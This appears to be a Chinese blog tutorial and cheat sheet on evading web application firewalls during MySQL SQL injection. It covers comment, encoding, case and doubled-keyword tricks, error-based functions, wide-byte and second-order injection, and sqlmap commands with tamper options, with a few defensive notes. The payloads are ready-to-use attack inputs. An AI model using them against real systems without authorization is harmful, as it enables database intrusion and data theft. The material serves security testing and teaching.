WAF绕过原理
白盒绕过
熟练的掌握MySQL函数和语法使用方式
深入了解中间件运行处理机制
了解WAF防护原理及方法
黑盒测试:(http://www.mottoin.com/86886.html)
一.架构层绕过WAF:
1. 寻找源站->针对云WAF
2. 利用同网段->绕过WAF防护区域
3. 利用边界漏洞->绕过WAF防护区域
二.资源限制角度绕过WAF:
1. POST大BOOY
三.协议层面绕过WAF的检测:
1. 协议未覆盖绕过WAf
*请求方式变换:GET->POST
*Content-Type变换:application/x-www-form-urlencoded:-> multipart/from-data
2. 参数污染
四.规则层面的绕过:
主要的绕过方式
- SQL注释符绕过
Level-1: union/**/select
Level-2: union/aaaa%01bbs/select
Level-3: union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select - 内连注释:/!xxxx/
- 空白符号绕过:
MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/
正则的空白符:%09,%0A,%0B,%0D,%20
Example-1:union%250Cselect
Example-1:union%25A0select - 函数分隔符号:
concat%2520(
concat/**/(
concat%250c(
concat%25a0( - 浮点数词法分析:
select * from users where id=8E0union select
1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select
1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select
1,2,3,4,5,6,7,8,9,0 - 利用error_based进行SQL注入:Error-based SQL注入函数非常容易被忽略
extractvalue(1,concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3)),1);
GeometryCollection((select * from (select * from
(select@@version)f)x))
polygon((select*from (select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
6. NySQL特殊语法
select{x table_name}from{x information_schema.tables};
~每一个点都能找到绕过的方法
以注释绕过为例子,开始Fuzz
注释符绕过:
*先测试最基本的: union/**/select
*再测试中间引入特殊字:union/aaaa%01bbs/select
*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select
最基本的模式:
union/something/select
大小写绕过
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只对整体进行过滤。例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过
如果在程序中设置出现关键字之后替换为空,那么SQl注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。
例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过
可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。
http://tool.chinaz.com/Tools/urlencode.aspx
内联注释绕过
在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过去除注释符的SQL注入
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释的内容不会被执行。
1 、Mysql中的注释符: --+或–空格 或#
2、多行注释:/!多行注释内容/
对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞的过程中,注释符起到闭合单引号、多引号、双引号、但括号、多括号的功能。
去除注释符的代码举例:
preg_replace(mixed $pattern, mixed $replacement,mixed $subject):执行一个正则表达式的搜索和替换。
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串数组
$subject:要搜索替换的目标字符串或字符串数组
此时可以利用注释符被过滤不能成功闭合单引号,换一种思路 利用or ‘1’='1闭合单引号。也可以使用Sqlmap进行安全测试。
绕过过滤and和or的SQL注入
Mysql一些特性:
1、Mysql中的大小写不敏感,大写和小写一样。
2、Mysql中的十六进制与URL编码。
3、符号和关键字替换 and --> &&、or --> ||
4、内联注释与多行注释 /!内联注释/ /多行注释/。
5、Mysql中会自动识别URL与Hex编码好的内容。
绕过策略:
1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。
2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr
3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入
编码:hex,urlencode
空格URL编码:
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
Sqlmap安全检测:
sqlmap -u “URL” --hex --dbs --batch
绕过去除(union和select)的SQL注入
编码%0a、加入/**/符,union/select大小写、双写等绕过。
宽字节注入
ASCII占用一个字节,而GB2312、GBK、GB18083、BIG5、Shift_JIS等这些都是常说的宽字节,实际为两个字节。Mysql在使用GBK编码的时候,会认为两个字符为一个汉字。
例如: %df’ --> %df’ --> %df%5c%27 --> %df和%5c会被认为是一个汉字。
方法:在注入点后键入%df,然后按照正常的注入流程开始注入Ascii码大于128才能到汉字的范围。
注入测试:
1、在可能的注入点后键入%df%27,之后进行注入测试。
2、查看Mysql编码是否为GBK
3、是否使用preg_replace把单引号替换成’
4、是否使用addslashes进行转义
5、是否使用mysql_real_escape_string进行转义
宽字节注入防御:
1、不使用GBK编码,使用utf-8。宽字节注入不只是gbk,韩文、日文等都是宽字节,都是可能被利用的
2、使用mysql_real_escape_string,
mysql_set_charset(‘gbk’, $conn);
3、可以设置mysql连接参数,character_set_client=binary,使用二进制的形式进行数据的连接。
Sqlmap安全检测:
sqlmap -u “URL?id=1%df%27” --search --level 3 --risk 1 --thread 10
sqlmap.py -u"URL" --tamper=unmagicquotes.py
二次注入
二次注入原理:
二次注入,主要分为两步
第一步:插入恶意数据,第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据,在数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的校验和处理,这样就会造成SQL的二次注入。
例如:寻找插入数据库并会转义的操作–>输入参数1’ -->参数经过转义函数后1’–>参数进入数据库存储还原为1’ -->寻找另外一处引用这个数据的操作–>将1’从数据库中取出–>取出后直接给变量并带入SQL–>SQL注入触发。

二次编码注入
urldecode()与php本身处理编码时,两者配合失误,可构造数据消灭
例:如果php代码中使用了urldecode()等编码函数,放在了一个比较尴尬的位置,与php自身编码配合失误。
id=1%2527 --> id=1%27 --> id=1’ %25 --> %
注入测试:
1、在可能的注入点后键入%2527,之后进行注入测试
2、是否使用urldecode函数
3、urldecode函数是否在转义方法之后。
本文介绍了SQL注入攻击如何绕过Web应用防火墙(WAF),包括白盒与黑盒测试策略,如架构层、资源限制、协议层面和规则层面的绕过方法。同时详细讲解了SQL注入的各种手段,如利用注释、编码、内联注释、双写、大小写变换等绕过过滤机制。还提到了SQL注入的防御措施和安全检测工具sqlmap的使用。
3870

被折叠的 条评论
为什么被折叠?



